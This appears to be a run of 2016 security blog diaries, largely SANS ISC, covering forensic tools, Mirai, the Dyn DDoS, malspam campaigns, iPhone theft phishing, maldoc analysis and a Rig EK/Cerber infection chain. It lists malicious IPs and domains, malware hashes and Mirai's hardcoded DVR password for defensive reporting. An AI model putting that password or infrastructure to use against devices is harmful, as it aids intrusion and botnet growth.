I just spent a fair bit of time preparing to take the GIAC Security Expert exam as part of the requirement to recertify every four years. I first took the exam in 2012, and I will tell you, for me, one third of the curriculum is a "use it or lose it" scenario. The GSE exam covers GSEC, GCIH, and GCIA. As my daily duties have migrated over the years from analyst to leadership, I had to "relearn" my packet analysis fu. Thank goodness for the Packetrix VM and the SANS 503 exercises workbook, offsets, flags, and fragments, oh my! All went well, mission accomplished, I'm renewed through October 2020 and still GSE #52, but spending weeks with my nose in the 18 course books reminded of some of the great tools described therein. As a result, this is the first of a series on some of those tools, their value, and use case scenarios.

I'll begin with snapshot.ps1. It's actually part of the download package for SEC505: Securing Windows and PowerShell Automation, but is discussed as part of the GCIH curriculum. In essence, snapshot.ps1 represents one script to encapsulate activities specific to the SANS Intrusion Discovery Cheat Sheet for Windows.

The script comes courtesy of Jason Fossen, the SEC505 author, and can be found in the Day 5-IPSec folder of the course download package. The script "dumps a vast amount of configuration data for the sake of auditing and forensics analysis" and allows you to "compare snapshot files created at different times to extract differences."

To use snapshot.ps1 place the script into a directory where it is safe to create a subdirectory as the script creates such a directory named named for the computer, then writes a variety of files containing system configuration data.  Run snapshot.ps1 with administrative privileges.

The script runs on Windows 7, Server 2008, and newer Windows operating systems (I ran it on Windows 10 Redstone 2) and requires PowerShell 3.0 or later. You also need to have autorunsc.exe and sha256deep.exe in your PATH if you want to dump what programs are configured to startup automatically when your system boots and you login, as well as run SHA256 file hashes. That said, if you must make the script run faster, and I mean A LOT FASTER, leave file hashing disabled at the end of the snapshot.ps1 for a 90% reduction in run time. However, Jason points out that this is one of the most useful aspects of the script for identifying adversarial activity. He also points out that snapshot.ps1 is a starter script; you can and should add more commands. As an example, referring back to toolsmith #112: Red vs Blue - PowerSploit vs PowerForensics, after importing PowerForensics, you could add something like Get-ForensicTimeline | Sort-Object -Property Date | Where-Object { $_.Date -ge "12/30/2015" -and $_.Date -le "01/04/2016" } | WriteOut -FileName Timeline which would give you a file system timeline between the 12/30/2015 and 01/04/2016.But wait, there's more! Want to get autoruns without needing autorunsc.exe?  Download @p0w3rsh3ll's AutoRuns module, run Import-Module AutoRuns.psm1, then Get-Command -Module AutoRuns to be sure the module is on board, and finally comment out autorunsc.exe -accepteula -a -c | Out-File -FilePath AutoRuns.csv then add Get-PSAutorun | WriteOut -FileName AutoRuns.

It's then as simple as running .\Snapshot.ps1 and watch your computer-named directory populate, 0V3RW4TCH-2016-10-31-9-7 in my case, per Figure 1.

Most result files are written in machine-readable XML, CSV, and TXT, as well as REG files generated by the registry exports via reg.exe.

A great example of a results file, is spawned via dir -Path c:\ -Hidden -Recurse -ErrorAction SilentlyContinue | Select-Object FullName,Length,Mode,CreationTime,LastAccessTime,LastWriteTime | Export-Csv -Path FileSystem-Hidden-Files.csv. The resulting CSV is like a journey down evil memory lane, where all the nuggets I've tested in the past leave artifacts. This would be EXACTLY what you would be looking for under real response scenarios, as seen in Figure 2.

Sure, there are bunches of related DFIR collection scripts, but I really like this one, and plan to tweak it further. Good work from Jason, and just one of many reasons to consider taking SEC505, or pursuing your GSE!

Few weeks ago I’ve attended the SANS DFIR Summit in Prague, and one of the very interesting talks was from Martin Korman (@MartinKorman), who presented a new tool he developed: Volatility Bot. 

According to his description, Volatility Bot is “an automation tool for researchers cuts all the guesswork and manual tasks out of the binary extraction phase, or to help the investigator in the first steps of performing a memory analysis investigation. Not only does it automatically extract the executable (exe), but it also fetches all new processes created in memory, code injections, strings, IP addresses, etc.” Basically, the goal of this tool is to automate most of the initial repetitive tasks an analyst does when analyzing a sample via memory analysis. 
Once configured (config/config.py) and prepared the VM, the next step is to run the gi_bulder.py script that will build a golden image for the active VM pre-infection, storing the output for later comparison.

At this point, the tool allows for two options: either to analyze the entire memory dump, or to submit one or more samples to VolatilityBot via command line. In the latter case, the tool will run one sample at the time and for each sample it will revert the VM back to the clean snapshot before lunching it, run the malware, pause the VM, parse the current memory state, and move to the next. This is done all automatically, without the analyst having to restart new VM, load the malware and run it every time.

Other than simply executing the standard volatility plugins, the "Code Extractor" component of Volatility Bot will try to identify and/or dump Injected Code, Kernel Modules, New Processes, Hooks, etc., comparing the output of volatility with the golden image and looking for signs of suspicious/malicious behavior.

The last component is what the author calls “Post Process Modules”, which will work on the volatility plugin results and the dumped processes/code to perform analysis using YARA, strings, basic PE analysis and some Heuristic analysis, looking for spawned processes of supposedly exploitable processes (e.g. browsers, office, etc.), processes launched from suspicious paths, suspicious handles, code injection, etc. Following a picture of the high level tool architecture:

Last but not least, according to the author the tool has been tested against a dataset of 3875 malware samples, with a success rate of 88%. Not too bad for a tool that is still at its early stage.
In my opinion it is definitely worth a try, it can for sure speed up the analysis (or at least the triage) of commodity malware and hopefully not only.

You can find the tool on github at https://github.com/mkorman90/VolatilityBot
Happy Hunting,

Pasquale

Earlier this week, Ensilo released a blog describing a new code injection attack via Windows Atom Tables [1]. The attack is pretty ingenious and could be used to inject malicious code into running processes or read data from running processes.

Overall, the problem of code injection isn't new, and there are different methods to accomplish code injection. Code injection in its simple form doesn't lead to privilege escalation, nor does it expose your system to new exploits. However, it is a technique that an attacker may use to hide code they are executed as a result of an exploit. Most security tools will whitelist software that you commonly run. Some will even check if the software is modified after it is executed.

Atom tables are a Windows feature meant to allow software to store data, and in some cases to share data with other applications. A user has read/write access to all atom table data created by processes that the user initiated. The result is that malware that the user runs may retrieve data stored to atom tables by other software, or it may modify it to execute malicious code.

Overall, there is no fix expected for this problem. This isn't even a security vulnerability in its current form. Users can always run code and code a user runs typically does have some access to other processes run by the same user (sometimes limited by sandboxing). 

So what does this all mean for you? Not much. It was always bad to run malware, and this is yet another way how malware can hide on your system. There is nothing you have to change in the way you are doing things due to this issue. Future versions of anti-malware may be able to intercept respective API calls to inspect any read/write access to these atom tables.

[1] http://blog.ensilo.com/atombombing-a-code-injection-that-bypasses-current-security-solutions

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Just as little as yesterday's order that "proceeded."  It Look like today's ransomware subject is "Your Bill is Overdue." But then again, don't bother blocking it. Block ZIP'ed visual basic scripts. This round of Locky makes blocking a tad harder by using "application/octet-stream" as a Content-Type instead of "application/zip."

(and about 2 hrs after publishing this diary, another small update: the Content-Type now changed to application/x-compressed . Makes you wonder if they are reading this ;-) )

It may be safe to strip everything with an "application/octet-stream" attachment. 

For the last 30 minutes, I received just about 1,000 attachments like that, and about 4000 total. The first one I received arrived just after 8 am UTC.

Anti-Virus coverage is spotty as usual. Kaspersky and Sophos seem to be doing a rather good job lately detecting the initial downloaders

As usual, Xavier's mime-zip-trojan script does a beautiful job of keeping these attachments out of your inbox:

https://github.com/xme/toolbox/blob/master/mime-zip-trojan.pl

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Adobe today released a critical update for Flash Player. The update was released outside of Adobe's regular patch cycle. [1]

The singled vulnerability fixed by this update, CVE-2016-7855, has already been exploited in targeted attacks against Windows.

Windows, Linux and Mac versions are affected, including versions embedded in Chrome and Edge/Internet Explorer 11. 

Please expedite this update, and review that Flash does not start automatically in your browser but only if enabled by the user for a specific site. Consider removing Flash whenever possible.

[1] https://helpx.adobe.com/security/products/flash-player/apsb16-36.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

In my last diary[1], I gave an example of an uncommon spam message. But attackers have always new ideas to deliver their malicious content to us. Here are two new examples. October being the Cyber Security Awareness month[2], more examples are always welcome.

The first one was delivered as an "NDR" message ("Non-Delivery Receipt") to the SANS ISC handlers mailbox:

From: "Bounced mail" 
To: handlers@isc.sans.edu
Subject: Mail System Error - Returned Mail
Date: Fri, 21 Oct 2016 22:08:23 +0530
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Message-Id: <20161021163820.8819C40060@isc.sans.org>
X-Envelope-To: UNKNOWNX-Loop: handlermail

Your message was not delivered due to the following reason(s):

Your message could not be delivered because the destination server was
not reachable within the allowed queue period. The amount of time
a message is queued before it is returned depends on local configura-
tion parameters.

Most likely there is a network problem that prevented delivery, but
it is also possible that the computer is turned off, or does not
have a mail system running right now.

Your message was not delivered within 1 days:
Server 32.80.249.78 is not responding.

The following recipients could not receive this message:


Please reply to postmaster@isc.sans.edu
if you feel this message to be in error.

Attached to this mail, a malicious ZIP file with a .pif file inside. The file is in fact a PE file (MD5: 2aa0d2ae9f8492e2b4acda1270616393). The hash was unknow to VT but once uploaded, it was reported as a very old worm, nothing very malicious.

The second example was received by one of our readers is a fake SharePoint notification:

The link points to hxxp://thekchencholing.org/.https/www/sharepoint.com/sites/shareddocument/SitePages/Home.aspx/index.php?wreply=YW5keS5nZXJhZXJ0c0BjZWdla2EuYmUN (the site has been cleaned up in the meantime). SharePoint is a common Microsoft tool used in big organizations and people could be lured by this kind of message.

Most spam campaigns are easy to detect but some messages, when properly redacted, may lure the victim easily. We are never far from an unfortunate click. Stay safe!

[1] https://isc.sans.edu/forums/diary/Spam+Delivered+via+ICS+Files/21611/
[2] https://www.dhs.gov/national-cyber-security-awareness-month

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Since Friday, the Mirai botnet has become kind of a household name. I have been continuing to watch the botnet infect my test DVR over and over. A couple of things I have seen over the weekend:

• Overall port 23/2323 scanning activity seems to have gone down a bit. It looks like the countermeasures ISPs are taking show some limited success
• At least some of the host names Mirai uses for C&C no longer resolve. 
• However, the host my copy uses to pull down the actual malware, 77.247.181.219 seems to be still active.
• So far I have observed versions for ARM, MIPS, and PowerPC (which would work for some Cisco equipment). Mirai is going after other devices then DVRs, but given the hard coded "xc3511" password, DVRs appear to be the richest source of vulnerable hosts.
• SHA1 hashes for the different versions:
  8924926be722b5c50a16ed3c8a121dd81d229539  mirai.arm7
  8c56f28cbe59724a7e63ecc4273dd1f661da8b7a  mirai.mips
  c0c18e56bbf4c514f34ed8f6204fbe1dba351efe  mirai.ppc
• We get a lot of requests from people asking how to identify infected devices. The simplest method is to look for devices that establish *a lot* of new outbound connections on port 23 and 2323. So just look for "tcp[13]=2 and (port 23 or port 2323)". They will stick out... look for dozens/hundreds of packets per second. But as a rule of thumb: if you know how to do this, chances are you are not vulnerable. 

Prior articles about Mirai:

ISC Briefing: Large DDoS Attack Against Dyn (with PPT slides for you to use)

Dyn.com DDoS Attack

The Short Life of a Vulnerable DVR Connected to the Internet (includes full packet capture of an infection)

The Internet of Evil Things: How to Detect and Secure Your Vulnerable Devices from the Mirai Botnet (Webcast)

------
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Last Friday, a large DDoS attack against Dyn caused many popular websites to be unreachable. The outage was discussed on mainstream news outlets. It is likely that you will be asked to brief your boss or your team about this attack. To help you out, we prepared a brief presentation that you may use as part of such a briefing. We publish the slides and a video of the presentation for you to use. You may modify the slides at will (add/remove to them) . But please give us credit if you use any of the material.

If you have any feedback, please let us know. We may update the presentation later this evening based on any suggestions we receive.

Powerpoint Slides: https://isc.sans.edu/presentations/dyndnsattack.pptx

YouTube Video of Presentation: https://youtu.be/AsEzDXjyhG8

I hope you will find this useful.We also had a webcast about a week ago about the Mirai botnet. You can find this webcast here: https://www.sans.org/webcasts/103182

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

We have received information about potential active reconnaissance for TCP 4786 which might be related to CVE-2016-6385 (Cisco IOS and IOS XE Software Smart Install Memory Leak Vulnerability) an advisory released 28 Sep 2016. This vulnerability could allow an unauthenticated user to cause a memory leak that could lead to a Denial of Service (DoS). If you are using Cisco IOS XE Software, "Cisco has released free software updates that address the vulnerability described in this advisory."[4]

So far we have very little information but this is the type of IOS activity you should be looking for:

Oct 21 20:12:46 MDT: %SM-4-BADEVENT: Event 'ibcs_e_download_msg_req_recv' is invalid for the current state 'ibcs_s_accept': smi_ibc_serv SMI IBCS sm
-Traceback= XXXXXXX 1C2E850 1C1AC2C 1C2EDF4 1C2F5EC 1C2F7B8 1C1C40C 1C1C5BC 1C1C74C 1C1CA60 1C1B0B4 1B9774C 1B8E1D8
Oct 21 20:12:46 MDT: %SM-4-BADEVENT: Event 'ibcs_e_download_msg_resp_send' is invalid for the current state 'ibcs_s_accept': smi_ibc_serv SMI IBCS sm
-Traceback= XXXXXXX 1C2E878 1C1AD58 1C2EDF4 1C2F5EC 1C2F7B8 1C1C40C 1C1C5BC 1C1C74C 1C1CA60 1C1B0B4 1B9774C 1B8E1D8
Oct 21 20:12:46 MDT: VSTACK_ERR: smi_ibc_dl_handle_events : invalid message

If you have packets or logs that might help assess if this is related to this vulnerability, use our contact page to send them to us.

[1] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6385
[2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160928-smi
[3] https://tools.cisco.com/security/center/viewErp.x?alertId=ERP-56513
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160928-smi#fixed
[5] http://www.securityfocus.com/archive/1/539511
[6] https://isc.sans.edu/port.html?port=4786

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Dyn.com, a popular dynmic DNS provider and provider of commercial managed DNS services is currently experiencing a massice DDoS attack. As a result, many sites that are using Dyn.com's services are experiencing issues. 

Affected are not just home/hobby sites that traditionally use dynamic DNS services, but also large "name brand" sites that use Dyn.com's managed DNS service. For example Twitter, Spotify, Etsry, Github and others (domains hosted by Dyn.com often use *.dynect.net name servers)

You can find status updates from Dyn.com here: https://www.dynstatus.com

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

For a number of years now, Apple has been implementing "Activation Lock" and "Find my iPhone" to deter the theft of iOS devices. According to some statistics, this effort has had some success. But with millions of users carrying devices costing $500 and more loosely secured in their pockets, mobile devices far exceed the value of an average wallet.

Activation Lock links a device to a user's iCloud account. If a user configures a new device, the user is asked for iCloud credentials or offered to set up a new iCloud account. A device can not be activated without providing this information. If you sell or pass on a device, deleting the data from the device is not sufficient, but you will also have to remove the link to your iCloud account, for example by turning off "Find My iPhone." Changing the setting always requires at least a password (and if configured two-factor authentication). Biometrics can be used to unlock the phone, but it can not be used to remove the iCloud link.

But iOS devices are still being stolen, and thieves have come up with some rather ingenious methods to unlock them:

1 - Phishing E-Mails

If you lose track of an iOS device, you have the option to register it as stolen via "Find my iPhone." Once the device is found, you will receive an e-mail or a pop-up on another iOS device. Thieves have used this technique to phish the owner's iCloud credentials. If they are aware of the owner's phone number or e-mail address (it is often displayed as part of the "Lost Phone" message), then they will send a "Found" e-mail to the address or an SMS to the phone number claiming that the phone has been found. The user is then sent to an iCloud look alike site which is asking the user to log in. The attacker will then use the harvested credentials to unlock the phone. [1]

2 - Purchase Offer

Making an offer to buy your device is probably the most brazen approach. The "finder" of the phone will contact the displayed phone number, and offering you to buy the phone from you. Making a purchase offer is in particular popular if the phone was found in a foreign country and the owner is already back home. Shipping the phone back to the owner would often be quite expensive. The finder then asks the owner to unlock the phone before payment is received to "proof" that the owner is legitimate.

3 - Password Resets

In many cases, your phone is critical to reset your password because you configured various sites (including iCloud) to use SMS messages to your phone for reset codes. On a locked phone, SMS messages may still appear on the screen, so will many messages from other applications (like iMessage, Whats App). An attacker can also remove the SIM card from a phone and plug it into another phone to receive messages unless your SIM card is secured with a PIN code.

How to Secure Your Devices

- Set up two-factor authentication

Apple offers two-factor as well as two-step authentication. If you enable it, make sure you keep the recovery code in a safe place. Apple does not offer a way to "turn off" two-factor authentication if you lose your recovery options. This can be the case in particular if your iPhone is lost/stolen and the only device you configured for two-factor authentication. Try to setup multiple devices to receive the code so you have a backup. [4]

- Enable "Find my iPhone."

This will allow you to locate a lost device if the device is connected to a network (WiFi or Cellular). You should also configure the feature to transmit its location before the device runs out of power.

- Limit messages displayed on the lock screen

You can configure what is displayed on the lock screen for each application. It may be ok to see things like news items, but you should not display e-mail content, SMS messages or output from other messaging applications like Skype.

- Protect your SIM card with a PIN

I find that in the US, most SIM cards arrive unlocked. In Europe, SIM cards are often locked via a PIN. But even if your SIM card is not locked, you can usually configure a PIN for it. Before you do so, make sure that you have the current PIN code (usual default is 1111 or 234) and the PUK code, which can be used to recover a locked card. In many cases, you can look it up on your carrier's website, or it may be included with your SIM card. Write the PUK down and keep it in a safe place. Your phone will allow you to configure a new PIN (but the PUK is fixed). Now you will have to enter the PIN whenever you power up the phone or whenever you remove the SIM cards and plug it into a new phone.

- Test "Lost my iPhone."

It is important to test the "Lost my iPhone" feature to make sure you have it setup correctly. See this article at Macrumors for more details [3].

[1] https://www.symantec.com/connect/blogs/cybercriminals-phish-icloud-credentials-victims-iphone-ipad-theft
[2] https://www.linkedin.com/pulse/sin-card-how-criminals-unlocked-stolen-iphone-6s-renato-marinho?trk=pulse_spock-articles
[3] http://www.macrumors.com/guide/what-to-do-if-your-iphone-is-lost-or-stolen/
[4] https://support.apple.com/en-us/HT204152

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Introduction

NanoCore is a Remote Access Tool (RAT) that's currently available for a $25 license [1].  However, like many other RATs, NanoCore has been used by criminal groups to take over Windows computers.  Beta versions of NanoCore RAT have been available to criminals since 2013 [2], and a cracked full version was leaked last year in 2015 [3].

Since then, the NanoCore RAT has been used in targeted phishing campaigns that are subtle and harder to detect [4].  Earlier this year, we saw it used in tax-themed emails as part of an increased distribution of the full-featured NanoCore RAT through phishing [5].

Since then, I haven't noticed any public reporting on specific campaigns, even though I've noticed NanoCore RAT-based phishing emails on a near-daily basis.  These recent emails don't seem subtle, and the vast majority of them are blocked.  I consider these recent examples malicious spam (malspam).  They either have attached zip archives containing an executable file, or they have attached Microsoft Office documents with malicious macros designed to download and execute the NanoCore RAT.  One such malspam with a zip attachment was recently sent to my malware-traffic-analysis.net email address.  That one was easily caught by my spam filter.

Due to a relative lack of publicly-posted info on recent NanoCore RAT malspam campaigns, I thought I'd examine the email I received for today's dairy.

The email

Shown above:  The malspam.

The malspam was a fake purchase order, spoofed to seem that it came from Media6, a company that specialized in Point of Sale (POS) marketing.

• Date/time:  2016-10-18 17:49 UTC
• From:  simon@pph.com.my
• To:  admin@malware-traffic-analysis.net
• Subject:  TKP-PO 332-2016131023
• Attachment (zip archive):  TKP-PO 332-2016131023.zip
• Malware from the zip archive:  TKP-PO 332-2016131023.exe

Examining the email headers, we find the email came from a mail server at ps1.700tb.com on 119.18.103.60.  The sending email address may or may not be spoofed.  Since the mail server domain is registered to a person from Malaysia, the sending address of simon@pph.com.my might possibly be a real, but compromised, email account.

Shown above:  Email headers for the malspam.

The malware

As far as malspam goes, the attachment isn't anything tricky.  It's just an executable file in a zip archive.  These types of emails can easily be blocked by most corporate email filtering.  And why would you have an icon for the Chrome web browser for a file that's supposed to be a purchase order?  That just doesn't make sense to me.

• File name:  TKP-PO 332-2016131023.exe
• SHA256 hash:  69c32f18a33f922e253d39025e773211223c9af832314103410ca9eccf1a90f2
• VirusTotal link - Malwr.com link - Payload Security link

Shown above:  The attached zip archive and extracted malware.

The traffic

Running the malware on a host in my lab environment gave me post-infection activity on 137.74.157.90 as encoded or encrypted traffic over TCP port 33338.

Shown above:  Callback traffic from an infected host shown in Wireshark.

I checked the traffic against Snort 2.9.8.3 using the Snort subscription ruleset, and I also checked it on Security Onion running Suricata with the ET PRO ruleset.  The Snort ruleset showed alerts for NanoBot activity (a botnet with hosts controlled by the NanoCore RAT).  The ET PRO ruleset called it NanoCore RAT activity.

Shown above:  Alerts from the Snort ruleset.

Shown above:  Alerts from the ET and ET PRO rulesets.

Final words

The NanoCore RAT is a tool that has been used in targeted phishing attacks, but I've noticed it in daily waves of what appear to be malspam.  In fact, my publicly-known blog email address got hit with an example.  That leads me to believe most of the threat from NanoCore RAT is through mass distribution.

With proper filtering, these emails are easily blocked.  With proper network monitoring, traffic from an infection is easily detected.  I figure these waves of NanoCore RAT-based malspam are geared towards home users and anyone else without sufficient security controls.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

[1] https://nanocore.io/purchase/
[2] https://www.digitrustgroup.com/nanocore-not-your-average-rat/
[3] https://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter
[4] http://blogs.cisco.com/security/talos/sysadmin-phish
[5] http://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/

Yesterday, I received a few interesting emails in my honeypot. I set up catch-all email addresses for domains that are well known by spammers. I'm capturing emails and extracting MIME attachments for further analysis. Today, my honeypot received three ICS files. iCalendar[1] is a file format used to exchange meeting information between users, mainly via email or a file sharing system. Such files use the extension ".ics".

The emails were sent as a Yahoo calendar event:

They were sent from Yahoo SMTP servers (with a nice typo in the From: field)

Oct 18 11:27:07 marge postfix/cleanup[9842]: 444817C2519: warning: header From: "OFICE FILE" \
  from n9-vm2.bullet.mail.bf1.yahoo.com[66.196.80.169]; from=xxxx to=xxxx proto=ESMTP helo=xxxx

The ICS file attached to the mail had a valid format but with some interesting characteristics. First, it was a cancellation request:

Then, many recipients (approximately 50) were added as "required":

ATTENDEE;ROLE=REQ_PARTICIPANT;RSVP=TRUE:mailto:kiotoambiental@ig.com.br
ATTENDEE;ROLE=REQ_PARTICIPANT;RSVP=TRUE:mailto:kirk.pearson@leg.wa.gov
ATTENDEE;ROLE=REQ_PARTICIPANT;RSVP=TRUE:mailto:kissimmeesdb@yahoo.com
ATTENDEE;ROLE=REQ_PARTICIPANT;RSVP=TRUE:mailto:kitanamileene@bol.com.br
ATTENDEE;ROLE=REQ_PARTICIPANT;RSVP=TRUE:mailto:kitty.hotel@hotmail.com
ATTENDEE;ROLE=REQ_PARTICIPANT;RSVP=TRUE:mailto:kittythebulldog-1@yahoo.com

Once the file opened in Outlook, it looked like this:

You can see that all the participants are listed. Depending on the way the user will cancel or reply to the mail, a notification could be sent to all the attendees, propagating the spam. Note that the mail was sent approximately 30 minutes (11:27 GMT+2) before the scheduled time in the meeting request (12:00 - 13:00 GMT+2).

The message in itself does not contain malicious content (an ICS file contains only text) but your mail server could be used to spread the message to other attendees and affect its reputation in anti-spam lists. The meeting details could also contain a link to a malicious website.

Did you also see such emails or do you have more information? Feel free to share!

[1]  http://icalendar.org/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

One reason you can tell your friends like you: They will share packets with you :) . One such friend sent me an interesting packet capture this weekend: And SSH "Protocol Mismatch Error" in response to an SSL Client Hello. That's right: Somehow, SSH and SSL streams got mixed.

Here is the Wireshark TCP stream:

Odd... To protect the innocent, I removed the host name of the website that created the error. Interestingly, this issue only showed up with Edge on Windows 10, not with Safari on macOS. Both browsers eventually connected to the site, but there was a noticeable delay in the response for Edge/Win10.

Windows 10 just sent a second client hello after the first one failed:

The different: The first client hello only allowed for TLS 1.2, while the second client hello was version tolerant and allowed for TLS 1.0-1.2. Safari on the other hand only sent the "version tolerant" client hello. I wasn't quite able to use openssl to recreate the client hello as "tight" as Windows 10 does. But this was the only significant difference between the two Client Hellos. APNS, SNI and other option didn't seem to matter.

So what is happening here?

This is not malicious behavior in this case. instead, the server is running behind a multiplexer like sslh [1] or haproxy [2]. In this case, after contacting the owner of the site, it turned out to be haproxy. It profiles incoming requests and then sends them to one out of various servers. By default, if it doesn't recognize the request, it forwards it to an ssh server. The goal of this tool is to allow someone to run multiple servers on port 443 to be able to connect to them from behind corporate firewalls that only allow outbound port 443 traffic.

The version of haproxy apparently doesn't support TLS 1.2 yet, and as a result redirects the rather strict Windows 10 requests to SSH, the default option. Windows 10 on the other hand realizes that TLS 1.2 isn't universally supported yet, and downgrades if the initial client hello fails.

Could a configuration like this be malicious? Sure. A setup like this could be used to exfiltrate data "stealthy" over port 443. But like my friend, many networks watch for things like ssh banners on odd ports.

Got any other explanations? Please let me know. For a packet capture of this activity, see https://isc.sans.edu/diaryimages/haproxy_capture.pcap (haproxy is listening on port 8443 in this case)

[1] http://www.rutschle.net/tech/sslh.shtml
[2] http://www.haproxy.org

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Saturday I posted my Maldoc VBA Anti-Analysis diary entry: I step through the analysis of a malicious document that tries to detect (automated) analysis environments.

Here is a video of the analysis of this maldoc.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

In my last diary entry, I show how to decode VBA maldoc strings with Excel. A similar technique can be used to decode a payload (like shellcode).

I explain this method in this video.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

I was asked for help with the analysis of sample 7c9505f2c041ba588bed854258344c43. Turns out this malicious Word document has some anti-analysis tricks (here is an older diary entry with other anti-analysis tricks).

Here is the analysis with oledump.py:

Stream 8 contains VBA code. Searching for string object in the code, we find calls to CreateObject:

Notice the second call to CreateObject. The argument is a function call (a) with arguments that looks like an encoded string, and 2 numbers. Function a must be the decoding function. This time, in stead of spending time trying to understand how the decode function works and translating it to Python, I'm going to copy it to the VBA interpreter in Excel and execute it. I just have to be careful not to execute the payload. I achieve this by checking each function I copy for potential payload execution statements.

Here is the first step: I copy function a and test it by calling it from sub decode:

As you can see I get an error because function lybAmIJ is not defined. This is to be expected. By just copying function a, I'm probably missing other functions and code that function a uses. So next step is to add the missing function, run sub decode again, and repeat this process until I get no more error. And I must not forget to check each function I copy for potential payload execution. Finally the VBA code will run without errors, but the messagebox is empty:

This probably means that I'm still missing some code, maybe uninitialized variables. So I single-step through the code (with the debugger), and I notice that orfqECb is empty:

Searching through the code for orfqECb reveals that it is another function that I need to copy. I repeat the process, and finally I get the decoded string:

Here is all the code I had to copy:

MsgBox is great for displaying the decoded string, but you can not copy the string. And it's useful to be able to copy the decoded string, for example when it is an URL. One trick is to replace MsgBox with InputBox, and provide the decoded string as the third argument: the default string for the InputBox. Like this:

Another trick is to write the decoded string to a cell in the spreadsheet:

The advantage of using a cell, is that you can easily decode many strings and write the results in cells:

With all strings decoded, it becomes easier to understand what this sample does.

This sample does an IP-geolocation request to Maxmind, and aborts if the reply contains one of these strings:

With this list, the malware authors want to avoid detection via dynamic analysis tools/appliances from security vendors (blue coat, eset, fireeye, ...). But it also avoids organizations with medicine, hospital, veterans, ... as keywords.

Next, it looks for running processes on the machine and aborts if it finds these:

If there is no reason to abort execution, this PowerShell script is executed:

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Introduction

Since Monday 2016-10-03, the pseudoDarkleech campaign has been using Rig exploit kit (EK) to distribute Cerber ransomware.  Prior to that, this campaign had been distributing CypMIC ransomware.

Shown above:  An infection chain of events.

Let's take a look at an infection from the pseudoDarkleech campaign that I intercepted earlier today (Friday 2016-10-14).

Traffic

Below are screenshots of the traffic filtered in Wireshark.

Shown above:  HTTP traffic seen during this infection.

Shown above:  UDP traffic seen during this infection.

Traffic caused by this infection chain of events:

• 5.200.55.214 port 80 - add.qualitiesforlife.com - Rig EK
• 31.184.234.0 through 31.184.235.255 (31.184.234.0/23) port 6892 - UDP traffic caused by Cerber
• 107.161.95.138 port 80 - ffoqr3ug7m726zou.nbz4dn.top - HTTP traffic caused by Cerber ransomware

Other domains from the Cerber ransomware decryption instructions:

• ffoqr3ug7m726zou.19jmfr.top
• ffoqr3ug7m726zou.5y6w0n.top
• ffoqr3ug7m726zou.onion.to

A variant of Rig Exploit Kit

Since 2016-09-26, I've noticed a new variant of Rig EK.  I believe it's one that security researcher Kafeine has designated RIG-v (link).  Kafeine describes RIG-v as a "VIP version" of Rig EK.  RIG-v uses a slightly different obfuscation for its landing page.  It also displays some Neutrino-style traits and uses RC4 encryption.  Luis Rocha has a good write-up on this version of Rig EK in two parts (part 1, part 2).

The Flash exploits used by RIG-v are similar to what I saw from Neutrino EK before it nearly disappeared last month (something also discussed by Kafeine).  I still see a trickle of detections for Neutrino EK, but that's dwarfed by the amount of Rig EK (both regular Rig EK and the newer RIG-v) I find on a daily basis.

RIG-v is currently used by the pseudoDarkleech campaign to distribute Cerber ransomware.  It's also being used by the Afraidgate campaign to distribute Locky ransomware.  The other EK-based campaign I regularly track is the EITest campaign, and it currently uses what I now call "regular Rig EK."

Below are some images of this infection traffic:

Shown above:  Injected script in a page from the compromised site pointing to a Rig EK landing page.

Shown above:  The Rig EK (RIG-v) landing page.

Shown above:  RIG-v sends the Flash exploit.

Shown above:  RIG-v sends the payload (Cerber ransomware) as an encrypted binary.

Malware and artifacts

Flash exploit sent by RIG-v:

• File size:  50,368 bytes
• SHA256 hash:  b95fa5beddf64653bf88456ed521a0b7226d4fb4f5e8983b85ca5d03d8621be5
• Location:  C:\Users\[username]\AppData\Local\Microsoft\Windows\Temporary Internet Files\index[1].swf

Malware payload (Cerber ransomware):

• File size:  481,175 bytes
• SHA256 hash:  a31a437f86ee5b5325b77d1956c19b3c144a8d1059b47a642992684ee68bbda0
• Location:  C:\Users\[username]\AppData\Local\Temp\rad13FE2.tmp.exe

Shown above:  The RIG-v payload as a decrypted binary (Cerber ransomware) on the infected host.

Shown above:  Desktop of the infected Windows host after rebooting.

Getting to the ransom payment page

This Cerber ransomware is a newer version I hadn't noticed until recently.  Previous versions of Cerber left more artifacts on the desktop with the decryption instructions (a text file, an html file, a VBS file to generate spoken instructions, and a shortcut).  This most recent version of Cerber leaves only one file on the desktop, an .HTA file.  HTA is a file extension for HTML Application files.

Shown above:  The web page that appeared when I clicked on one of the links from the HTA file.

Using the window generated by the HTA file, you can get to the decryption instructions.  However, this requires getting past a different type of CAPTCHA than before.  This newer Cerber variant uses an image-based CAPTCHA that requires multiple clicks to get through.  Turns out this new variant of Cerber with the updated CAPTCHA debuted back in August 2016 as noted by BleepingComputer.

Shown above:  An example of the CAPTCHA page you need to do before you can go any further.

